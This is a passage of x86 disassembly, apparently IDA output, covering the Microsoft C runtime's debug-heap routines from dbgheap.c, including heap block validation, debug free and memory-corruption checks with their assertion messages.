jz short loc_415706
push offset a_plastblockPol ; "_pLastBlock == pOldBlock"
push 0
push 2B7h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_415706
int 3 ; Trap to Debugger
loc_415706: ; CODE XREF: sub_4152A0+443j
; sub_4152A0+463j
xor ecx, ecx
test ecx, ecx
jnz short loc_4156DB
mov edx, [ebp+var_C]
mov eax, [edx+4]
mov dword_4DB098, eax
loc_415717: ; CODE XREF: sub_4152A0+439j
mov ecx, [ebp+var_C]
cmp dword ptr [ecx+4], 0
jz short loc_41572F
mov edx, [ebp+var_C]
mov eax, [edx+4]
mov ecx, [ebp+var_C]
mov edx, [ecx]
mov [eax], edx
jmp short loc_41576A
; ---------------------------------------------------------------------------
loc_41572F: ; CODE XREF: sub_4152A0+47Ej
; sub_4152A0+4BEj
mov eax, dword_4DB0A0
cmp eax, [ebp+var_8]
jz short loc_41575A
push offset a_pfirstblockPo ; "_pFirstBlock == pOldBlock"
push 0
push 2C2h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_41575A
int 3 ; Trap to Debugger
loc_41575A: ; CODE XREF: sub_4152A0+497j
; sub_4152A0+4B7j
xor ecx, ecx
test ecx, ecx
jnz short loc_41572F
mov edx, [ebp+var_C]
mov eax, [edx]
mov dword_4DB0A0, eax
loc_41576A: ; CODE XREF: sub_4152A0+48Dj
cmp dword_4DB0A0, 0
jz short loc_415781
mov ecx, dword_4DB0A0
mov edx, [ebp+var_C]
mov [ecx+4], edx
jmp short loc_415789
; ---------------------------------------------------------------------------
loc_415781: ; CODE XREF: sub_4152A0+4D1j
mov eax, [ebp+var_C]
mov dword_4DB098, eax
loc_415789: ; CODE XREF: sub_4152A0+4DFj
mov ecx, [ebp+var_C]
mov edx, dword_4DB0A0
mov [ecx], edx
mov eax, [ebp+var_C]
mov dword ptr [eax+4], 0
mov ecx, [ebp+var_C]
mov dword_4DB0A0, ecx
mov eax, [ebp+var_4]
loc_4157AA: ; CODE XREF: sub_4152A0+2Ej
; sub_4152A0+51j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4152A0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 0
push 0
push 1
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp+8]
push ecx
call sub_4157E0
add esp, 14h
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4157E0 proc near ; CODE XREF: ___:004157D1p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push 9
call sub_41B780
add esp, 4
push 0
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_4152A0
add esp, 18h
mov [ebp+var_4], eax
push 9
call sub_41B820
add esp, 4
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_4157E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415820 proc near ; CODE XREF: sub_4010AB+5Ep
; sub_402599+B7p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 1
mov eax, [ebp+arg_0]
push eax
call sub_415860
add esp, 8
pop ebp
retn
sub_415820 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 1
mov eax, [ebp+8]
push eax
call sub_415890
add esp, 8
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415860 proc near ; CODE XREF: sub_414CF0+98p
; sub_4152A0+47p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push 9
call sub_41B780
add esp, 4
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_415890
add esp, 8
push 9
call sub_41B820
add esp, 4
pop ebp
retn
sub_415860 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415890 proc near ; CODE XREF: ___:00415849p
; sub_415860+15p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, dword_443890
and eax, 4
test eax, eax
jz short loc_4158D3
loc_4158A3: ; CODE XREF: sub_415890+41j
call sub_415F70
test eax, eax
jnz short loc_4158CD
push offset a_crtcheckmemor ; "_CrtCheckMemory()"
push 0
push 3E1h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_4158CD
int 3 ; Trap to Debugger
loc_4158CD: ; CODE XREF: sub_415890+1Aj
; sub_415890+3Aj
xor ecx, ecx
test ecx, ecx
jnz short loc_4158A3
loc_4158D3: ; CODE XREF: sub_415890+11j
cmp [ebp+arg_0], 0
jnz short loc_4158DE
jmp loc_415C75
; ---------------------------------------------------------------------------
loc_4158DE: ; CODE XREF: sub_415890+47j
push 0
push 0
push 0
mov edx, [ebp+arg_4]
push edx
push 0
mov eax, [ebp+arg_0]
push eax
push 3
call off_443C70
add esp, 1Ch
test eax, eax
jnz short loc_415928
loc_4158FD: ; CODE XREF: sub_415890+91j
push offset aClientHookFree ; "Client hook free failure.\n"
push offset aS_25 ; "%s"
push 0
push 0
push 0
push 0
call sub_41AB10
add esp, 18h
cmp eax, 1
jnz short loc_41591D
int 3 ; Trap to Debugger
loc_41591D: ; CODE XREF: sub_415890+8Aj
xor ecx, ecx
test ecx, ecx
jnz short loc_4158FD
jmp loc_415C75
; ---------------------------------------------------------------------------
loc_415928: ; CODE XREF: sub_415890+6Bj
; sub_415890+CDj
mov edx, [ebp+arg_0]
push edx
call sub_4163D0
add esp, 4
test eax, eax
jnz short loc_415959
push offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)"
push 0
push 3F3h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_415959
int 3 ; Trap to Debugger
loc_415959: ; CODE XREF: sub_415890+A6j
; sub_415890+C6j
xor eax, eax
test eax, eax
jnz short loc_415928
mov ecx, [ebp+arg_0]
sub ecx, 20h
mov [ebp+var_4], ecx
loc_415968: ; CODE XREF: sub_415890+12Fj
mov edx, [ebp+var_4]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 4
jz short loc_4159BB
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+14h], 1
jz short loc_4159BB
mov edx, [ebp+var_4]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 2
jz short loc_4159BB
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+14h], 3
jz short loc_4159BB
push offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
push 0
push 3F9h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_4159BB
int 3 ; Trap to Debugger
loc_4159BB: ; CODE XREF: sub_415890+E6j
; sub_415890+EFj ...
xor edx, edx
test edx, edx
jnz short loc_415968
mov eax, dword_443890
and eax, 4
test eax, eax
jnz loc_415A96
push 4
mov cl, byte_44389C
push ecx
mov edx, [ebp+var_4]
add edx, 1Ch
push edx
call sub_415EE0
add esp, 0Ch
test eax, eax
jnz short loc_415A30
loc_4159ED: ; CODE XREF: sub_415890+19Ej
mov eax, [ebp+var_4]
add eax, 20h
push eax
mov ecx, [ebp+var_4]
mov edx, [ecx+18h]
push edx
mov eax, [ebp+var_4]
mov ecx, [eax+14h]
and ecx, 0FFFFh
mov edx, off_4438A0[ecx*4]
push edx
push offset aDamageBeforeHs ; "DAMAGE: before %hs block (#%d) at 0x%08"...
push 0
push 0
push 0
push 1
call sub_41AB10
add esp, 20h
cmp eax, 1
jnz short loc_415A2A
int 3 ; Trap to Debugger
loc_415A2A: ; CODE XREF: sub_415890+197j
xor eax, eax
test eax, eax
jnz short loc_4159ED
loc_415A30: ; CODE XREF: sub_415890+15Bj
push 4
mov cl, byte_44389C
push ecx
mov edx, [ebp+var_4]
mov eax, [edx+10h]
mov ecx, [ebp+var_4]
lea edx, [ecx+eax+20h]
push edx
call sub_415EE0
add esp, 0Ch
test eax, eax
jnz short loc_415A96
loc_415A53: ; CODE XREF: sub_415890+204j
mov eax, [ebp+var_4]
add eax, 20h
push eax
mov ecx, [ebp+var_4]
mov edx, [ecx+18h]
push edx
mov eax, [ebp+var_4]
mov ecx, [eax+14h]
and ecx, 0FFFFh
mov edx, off_4438A0[ecx*4]
push edx
push offset aDamageAfterHsB ; "DAMAGE: after %hs block (#%d) at 0x%08X"...
push 0
push 0
push 0
push 1
call sub_41AB10
add esp, 20h
cmp eax, 1
jnz short loc_415A90
int 3 ; Trap to Debugger
loc_415A90: ; CODE XREF: sub_415890+1FDj
xor eax, eax
test eax, eax
jnz short loc_415A53
loc_415A96: ; CODE XREF: sub_415890+13Bj
; sub_415890+1C1j
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+14h], 3
jnz short loc_415B0B
loc_415A9F: ; CODE XREF: sub_415890+249j
mov edx, [ebp+var_4]
cmp dword ptr [edx+0Ch], 0FEDCBABCh
jnz short loc_415AB4
mov eax, [ebp+var_4]
cmp dword ptr [eax+18h], 0
jz short loc_415AD5
loc_415AB4: ; CODE XREF: sub_415890+219j
push offset aPheadNlineIgno ; "pHead->nLine == IGNORE_LINE && pHead->l"...
push 0
push 40Eh
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_415AD5
int 3 ; Trap to Debugger
loc_415AD5: ; CODE XREF: sub_415890+222j
; sub_415890+242j
xor ecx, ecx
test ecx, ecx
jnz short loc_415A9F
mov edx, [ebp+var_4]
mov eax, [edx+10h]
add eax, 24h
push eax
xor ecx, ecx
mov cl, byte_44389D
push ecx
mov edx, [ebp+var_4]
push edx
call sub_417070
add esp, 0Ch
mov eax, [ebp+var_4]
push eax
call sub_41BC00
add esp, 4
jmp loc_415C75
; ---------------------------------------------------------------------------
loc_415B0B: ; CODE XREF: sub_415890+20Dj
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+14h], 2
jnz short loc_415B21
cmp [ebp+arg_4], 1
jnz short loc_415B21
mov [ebp+arg_4], 2
loc_415B21: ; CODE XREF: sub_415890+282j
; sub_415890+288j ...
mov edx, [ebp+var_4]
mov eax, [edx+14h]
cmp eax, [ebp+arg_4]
jz short loc_415B4D
push offset aPheadNblockuse ; "pHead->nBlockUse == nBlockUse"
push 0
push 41Bh
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_415B4D
int 3 ; Trap to Debugger
loc_415B4D: ; CODE XREF: sub_415890+29Aj
; sub_415890+2BAj
xor ecx, ecx
test ecx, ecx
jnz short loc_415B21
mov edx, [ebp+var_4]
mov eax, dword_4DB0A4
sub eax, [edx+10h]
mov dword_4DB0A4, eax
mov ecx, dword_443890
and ecx, 2
test ecx, ecx
jnz loc_415C4C
mov edx, [ebp+var_4]
cmp dword ptr [edx], 0
jz short loc_415B8C
mov eax, [ebp+var_4]
mov ecx, [eax]
mov edx, [ebp+var_4]
mov eax, [edx+4]
mov [ecx+4], eax
jmp short loc_415BCA
; ---------------------------------------------------------------------------
loc_415B8C: ; CODE XREF: sub_415890+2EAj
; sub_415890+32Cj
mov ecx, dword_4DB098
cmp ecx, [ebp+var_4]
jz short loc_415BB8
push offset a_plastblockPhe ; "_pLastBlock == pHead"
push 0
push 42Ah
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_415BB8
int 3 ; Trap to Debugger
loc_415BB8: ; CODE XREF: sub_415890+305j
; sub_415890+325j
xor edx, edx
test edx, edx
jnz short loc_415B8C
mov eax, [ebp+var_4]
mov ecx, [eax+4]
mov dword_4DB098, ecx
loc_415BCA: ; CODE XREF: sub_415890+2FAj
mov edx, [ebp+var_4]
cmp dword ptr [edx+4], 0
jz short loc_415BE2
mov eax, [ebp+var_4]
mov ecx, [eax+4]
mov edx, [ebp+var_4]
mov eax, [edx]
mov [ecx], eax
jmp short loc_415C1F
; ---------------------------------------------------------------------------
loc_415BE2: ; CODE XREF: sub_415890+341j
; sub_415890+382j
mov ecx, dword_4DB0A0
cmp ecx, [ebp+var_4]
jz short loc_415C0E
push offset a_pfirstblockPh ; "_pFirstBlock == pHead"
push 0
push 434h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_415C0E
int 3 ; Trap to Debugger
loc_415C0E: ; CODE XREF: sub_415890+35Bj
; sub_415890+37Bj
xor edx, edx
test edx, edx
jnz short loc_415BE2
mov eax, [ebp+var_4]
mov ecx, [eax]
mov dword_4DB0A0, ecx
loc_415C1F: ; CODE XREF: sub_415890+350j
mov edx, [ebp+var_4]
mov eax, [edx+10h]
add eax, 24h
push eax
xor ecx, ecx
mov cl, byte_44389D
push ecx
mov edx, [ebp+var_4]
push edx
call sub_417070
add esp, 0Ch
mov eax, [ebp+var_4]
push eax
call sub_41BC00
add esp, 4
jmp short loc_415C75
; ---------------------------------------------------------------------------
loc_415C4C: ; CODE XREF: sub_415890+2DEj
mov ecx, [ebp+var_4]
mov dword ptr [ecx+14h], 0
mov edx, [ebp+var_4]
mov eax, [edx+10h]
push eax
xor ecx, ecx
mov cl, byte_44389D
push ecx
mov edx, [ebp+var_4]
add edx, 20h
push edx
call sub_417070
add esp, 0Ch
loc_415C75: ; CODE XREF: sub_415890+49j
; sub_415890+93j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_415890 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 1
mov eax, [ebp+8]
push eax
call sub_415CA0
add esp, 8
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415CA0 proc near ; CODE XREF: ___:00415C89p
; sub_419BD0+11p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov eax, dword_443890
and eax, 4
test eax, eax
jz short loc_415CE5
loc_415CB5: ; CODE XREF: sub_415CA0+43j
call sub_415F70
test eax, eax
jnz short loc_415CDF
push offset a_crtcheckmemor ; "_CrtCheckMemory()"
push 0
push 47Ch
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_415CDF
int 3 ; Trap to Debugger
loc_415CDF: ; CODE XREF: sub_415CA0+1Cj
; sub_415CA0+3Cj
xor ecx, ecx
test ecx, ecx
jnz short loc_415CB5
loc_415CE5: ; CODE XREF: sub_415CA0+13j
push 9
call sub_41B780
add esp, 4
loc_415CEF: ; CODE XREF: sub_415CA0+84j
mov edx, [ebp+arg_0]
push edx
call sub_4163D0
add esp, 4
test eax, eax
jnz short loc_415D20
push offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)"
push 0
push 485h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_415D20
int 3 ; Trap to Debugger
loc_415D20: ; CODE XREF: sub_415CA0+5Dj
; sub_415CA0+7Dj
xor eax, eax
test eax, eax
jnz short loc_415CEF
mov ecx, [ebp+arg_0]
sub ecx, 20h
mov [ebp+var_8], ecx
loc_415D2F: ; CODE XREF: sub_415CA0+E6j
mov edx, [ebp+var_8]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 4
jz short loc_415D82
mov ecx, [ebp+var_8]
cmp dword ptr [ecx+14h], 1
jz short loc_415D82
mov edx, [ebp+var_8]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 2
jz short loc_415D82
mov ecx, [ebp+var_8]
cmp dword ptr [ecx+14h], 3
jz short loc_415D82
push offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
push 0
push 48Bh
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_415D82
int 3 ; Trap to Debugger
loc_415D82: ; CODE XREF: sub_415CA0+9Dj
; sub_415CA0+A6j ...
xor edx, edx
test edx, edx
jnz short loc_415D2F
mov eax, [ebp+var_8]
cmp dword ptr [eax+14h], 2
jnz short loc_415D9E
cmp [ebp+arg_4], 1
jnz short loc_415D9E
mov [ebp+arg_4], 2
loc_415D9E: ; CODE XREF: sub_415CA0+EFj
; sub_415CA0+F5j
mov ecx, [ebp+var_8]
cmp dword ptr [ecx+14h], 3
jz short loc_415DD9
loc_415DA7: ; CODE XREF: sub_415CA0+137j
mov edx, [ebp+var_8]
mov eax, [edx+14h]
cmp eax, [ebp+arg_4]
jz short loc_415DD3
push offset aPheadNblockuse ; "pHead->nBlockUse == nBlockUse"
push 0
push 492h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_415DD3
int 3 ; Trap to Debugger
loc_415DD3: ; CODE XREF: sub_415CA0+110j
; sub_415CA0+130j
xor ecx, ecx
test ecx, ecx
jnz short loc_415DA7
loc_415DD9: ; CODE XREF: sub_415CA0+105j
mov edx, [ebp+var_8]
mov eax, [edx+10h]
mov [ebp+var_4], eax
push 9
call sub_41B820
add esp, 4
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_415CA0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, dword_443898
mov [ebp-4], eax
mov ecx, [ebp+8]
mov dword_443898, ecx
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 9
call sub_41B780
add esp, 4
mov eax, [ebp+8]
push eax
call sub_4163D0
add esp, 4
test eax, eax
jz short loc_415EAC
mov ecx, [ebp+8]
sub ecx, 20h
mov [ebp-4], ecx
loc_415E4A: ; CODE XREF: ___:00415EA1j
mov edx, [ebp-4]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 4
jz short loc_415E9D
mov ecx, [ebp-4]
cmp dword ptr [ecx+14h], 1
jz short loc_415E9D
mov edx, [ebp-4]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 2
jz short loc_415E9D
mov ecx, [ebp-4]
cmp dword ptr [ecx+14h], 3
jz short loc_415E9D
push offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
push 0
push 4D3h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_415E9D
int 3 ; Trap to Debugger
loc_415E9D: ; CODE XREF: ___:00415E58j
; ___:00415E61j ...
xor edx, edx
test edx, edx
jnz short loc_415E4A
mov eax, [ebp-4]
mov ecx, [ebp+0Ch]
mov [eax+14h], ecx
loc_415EAC: ; CODE XREF: ___:00415E3Fj
push 9
call sub_41B820
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, off_443C70
mov [ebp-4], eax
mov ecx, [ebp+8]
mov off_443C70, ecx
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415EE0 proc near ; CODE XREF: sub_415890+151p
; sub_415890+1B7p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov [ebp+var_4], 1
loc_415EEE: ; CODE XREF: sub_415EE0:loc_415F5Cj
mov eax, [ebp+arg_8]
mov ecx, [ebp+arg_8]
sub ecx, 1
mov [ebp+arg_8], ecx
test eax, eax
jz short loc_415F5E
mov edx, [ebp+arg_0]
xor eax, eax
mov al, [edx]
mov ecx, [ebp+arg_4]
and ecx, 0FFh
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
cmp eax, ecx
jz short loc_415F5C
loc_415F1B: ; CODE XREF: sub_415EE0+73j
mov eax, [ebp+arg_4]
and eax, 0FFh
push eax
mov ecx, [ebp+arg_0]
xor edx, edx
mov dl, [ecx-1]
push edx
mov eax, [ebp+arg_0]
sub eax, 1
push eax
push offset aMemoryCheckErr ; "memory check error at 0x%08X = 0x%02X, "...
push 0
push 0
push 0
push 0
call sub_41AB10
add esp, 20h
cmp eax, 1
jnz short loc_415F4F
int 3 ; Trap to Debugger
loc_415F4F: ; CODE XREF: sub_415EE0+6Cj
xor ecx, ecx
test ecx, ecx
jnz short loc_415F1B
mov [ebp+var_4], 0
loc_415F5C: ; CODE XREF: sub_415EE0+39j
jmp short loc_415EEE
; ---------------------------------------------------------------------------
loc_415F5E: ; CODE XREF: sub_415EE0+1Cj
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_415EE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415F70 proc near ; CODE XREF: sub_414EA0:loc_414EBCp
; sub_4152A0:loc_415302p ...
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
mov [ebp+var_4], 1
mov eax, dword_443890
and eax, 1
test eax, eax
jnz short loc_415F96
mov eax, 1
jmp loc_4162C8
; ---------------------------------------------------------------------------
loc_415F96: ; CODE XREF: sub_415F70+1Aj
push 9
call sub_41B780
add esp, 4
call sub_41BC70
mov [ebp+var_C], eax
cmp [ebp+var_C], 0FFFFFFFFh
jz loc_4160B9
cmp [ebp+var_C], 0FFFFFFFEh
jz loc_4160B9
mov ecx, [ebp+var_C]
mov [ebp+var_18], ecx
mov edx, [ebp+var_18]
add edx, 6
mov [ebp+var_18], edx
cmp [ebp+var_18], 3
ja loc_416082
mov eax, [ebp+var_18]
jmp off_4162CF[eax*4]
loc_415FDF: ; CODE XREF: sub_415F70+93j
; DATA XREF: ___:004162DBo
push offset a_heapchkFailsW ; "_heapchk fails with _HEAPBADBEGIN.\n"
push offset aS_25 ; "%s"
push 0
push 0
push 0
push 0
call sub_41AB10
add esp, 18h
cmp eax, 1
jnz short loc_415FFF
int 3 ; Trap to Debugger
loc_415FFF: ; CODE XREF: sub_415F70+8Cj
xor ecx, ecx
test ecx, ecx
jnz short loc_415FDF
jmp loc_4160A8
; ---------------------------------------------------------------------------
loc_41600A: ; CODE XREF: sub_415F70+68j
; sub_415F70+BEj
; DATA XREF: ...
push offset a_heapchkFail_0 ; "_heapchk fails with _HEAPBADNODE.\n"
push offset aS_25 ; "%s"
push 0
push 0
push 0
push 0
call sub_41AB10
add esp, 18h
cmp eax, 1
jnz short loc_41602A
int 3 ; Trap to Debugger
loc_41602A: ; CODE XREF: sub_415F70+B7j
xor edx, edx
test edx, edx
jnz short loc_41600A
jmp short loc_4160A8
; ---------------------------------------------------------------------------
loc_416032: ; CODE XREF: sub_415F70+68j
; sub_415F70+E6j
; DATA XREF: ...
push offset a_heapchkFail_1 ; "_heapchk fails with _HEAPBADEND.\n"
push offset aS_25 ; "%s"
push 0
push 0
push 0
push 0
call sub_41AB10
add esp, 18h
cmp eax, 1
jnz short loc_416052
int 3 ; Trap to Debugger
loc_416052: ; CODE XREF: sub_415F70+DFj
xor eax, eax
test eax, eax
jnz short loc_416032
jmp short loc_4160A8
; ---------------------------------------------------------------------------
loc_41605A: ; CODE XREF: sub_415F70+68j
; sub_415F70+10Ej
; DATA XREF: ...
push offset a_heapchkFail_2 ; "_heapchk fails with _HEAPBADPTR.\n"
push offset aS_25 ; "%s"
push 0
push 0
push 0
push 0
call sub_41AB10
add esp, 18h
cmp eax, 1
jnz short loc_41607A
int 3 ; Trap to Debugger
loc_41607A: ; CODE XREF: sub_415F70+107j
xor ecx, ecx
test ecx, ecx
jnz short loc_41605A
jmp short loc_4160A8
; ---------------------------------------------------------------------------
loc_416082: ; CODE XREF: sub_415F70+5Fj
; sub_415F70+136j
push offset a_heapchkFail_3 ; "_heapchk fails with unknown return valu"...
push offset aS_25 ; "%s"
push 0
push 0
push 0
push 0
call sub_41AB10
add esp, 18h
cmp eax, 1
jnz short loc_4160A2
int 3 ; Trap to Debugger
loc_4160A2: ; CODE XREF: sub_415F70+12Fj
xor edx, edx
test edx, edx
jnz short loc_416082
loc_4160A8: ; CODE XREF: sub_415F70+95j
; sub_415F70+C0j ...
push 9
call sub_41B820
add esp, 4
xor eax, eax
jmp loc_4162C8
; ---------------------------------------------------------------------------
loc_4160B9: ; CODE XREF: sub_415F70+3Cj
; sub_415F70+46j
mov eax, dword_4DB0A0
mov [ebp+var_8], eax
jmp short loc_4160CB
; ---------------------------------------------------------------------------
loc_4160C3: ; CODE XREF: sub_415F70:loc_4162B6j
mov ecx, [ebp+var_8]
mov edx, [ecx]
mov [ebp+var_8], edx
loc_4160CB: ; CODE XREF: sub_415F70+151j
cmp [ebp+var_8], 0
jz loc_4162BB
mov [ebp+var_10], 1
mov eax, [ebp+var_8]
mov ecx, [eax+14h]
and ecx, 0FFFFh
cmp ecx, 4
jz short loc_416110
mov edx, [ebp+var_8]
cmp dword ptr [edx+14h], 1
jz short loc_416110
mov eax, [ebp+var_8]
mov ecx, [eax+14h]
and ecx, 0FFFFh
cmp ecx, 2
jz short loc_416110
mov edx, [ebp+var_8]
cmp dword ptr [edx+14h], 3
jnz short loc_416128
loc_416110: ; CODE XREF: sub_415F70+17Bj
; sub_415F70+184j ...
mov eax, [ebp+var_8]
mov ecx, [eax+14h]
and ecx, 0FFFFh
mov edx, off_4438A0[ecx*4]
mov [ebp+var_14], edx
jmp short loc_41612F
; ---------------------------------------------------------------------------
loc_416128: ; CODE XREF: sub_415F70+19Ej
mov [ebp+var_14], offset aDamaged ; "DAMAGED"
loc_41612F: ; CODE XREF: sub_415F70+1B6j
push 4
mov al, byte_44389C
push eax
mov ecx, [ebp+var_8]
add ecx, 1Ch
push ecx
call sub_415EE0
add esp, 0Ch
test eax, eax
jnz short loc_416184
loc_41614A: ; CODE XREF: sub_415F70+20Bj
mov edx, [ebp+var_8]
add edx, 20h
push edx
mov eax, [ebp+var_8]
mov ecx, [eax+18h]
push ecx
mov edx, [ebp+var_14]
push edx
push offset aDamageBeforeHs ; "DAMAGE: before %hs block (#%d) at 0x%08"...
push 0
push 0
push 0
push 0
call sub_41AB10
add esp, 20h
cmp eax, 1
jnz short loc_416177
int 3 ; Trap to Debugger
loc_416177: ; CODE XREF: sub_415F70+204j
xor eax, eax
test eax, eax
jnz short loc_41614A
mov [ebp+var_10], 0
loc_416184: ; CODE XREF: sub_415F70+1D8j
push 4
mov cl, byte_44389C
push ecx
mov edx, [ebp+var_8]
mov eax, [edx+10h]
mov ecx, [ebp+var_8]
lea edx, [ecx+eax+20h]
push edx
call sub_415EE0
add esp, 0Ch
test eax, eax
jnz short loc_4161E1
loc_4161A7: ; CODE XREF: sub_415F70+268j
mov eax, [ebp+var_8]
add eax, 20h
push eax
mov ecx, [ebp+var_8]
mov edx, [ecx+18h]
push edx
mov eax, [ebp+var_14]
push eax
push offset aDamageAfterHsB ; "DAMAGE: after %hs block (#%d) at 0x%08X"...
push 0
push 0
push 0
push 0
call sub_41AB10
add esp, 20h
cmp eax, 1
jnz short loc_4161D4
int 3 ; Trap to Debugger
loc_4161D4: ; CODE XREF: sub_415F70+261j
xor ecx, ecx
test ecx, ecx
jnz short loc_4161A7
mov [ebp+var_10], 0
loc_4161E1: ; CODE XREF: sub_415F70+235j
mov edx, [ebp+var_8]
cmp dword ptr [edx+14h], 0
jnz short loc_41623A
mov eax, [ebp+var_8]
mov ecx, [eax+10h]
push ecx
mov dl, byte_44389D
push edx
mov eax, [ebp+var_8]
add eax, 20h
push eax
call sub_415EE0
add esp, 0Ch
test eax, eax
jnz short loc_41623A
loc_41620B: ; CODE XREF: sub_415F70+2C1j
mov ecx, [ebp+var_8]
add ecx, 20h
push ecx
push offset aDamageOnTopOfF ; "DAMAGE: on top of Free block at 0x%08X."...
push 0
push 0
push 0
push 0
call sub_41AB10
add esp, 18h
cmp eax, 1
jnz short loc_41622D
int 3 ; Trap to Debugger
loc_41622D: ; CODE XREF: sub_415F70+2BAj
xor edx, edx
test edx, edx
jnz short loc_41620B
mov [ebp+var_10], 0
loc_41623A: ; CODE XREF: sub_415F70+278j
; sub_415F70+299j
cmp [ebp+var_10], 0
jnz short loc_4162B6
mov eax, [ebp+var_8]
cmp dword ptr [eax+8], 0
jz short loc_41627C
loc_416249: ; CODE XREF: sub_415F70+30Aj
mov ecx, [ebp+var_8]
mov edx, [ecx+0Ch]
push edx
mov eax, [ebp+var_8]
mov ecx, [eax+8]
push ecx
mov edx, [ebp+var_14]
push edx
push offset aHsAllocatedAtF ; "%hs allocated at file %hs(%d).\n"
push 0
push 0
push 0
push 0
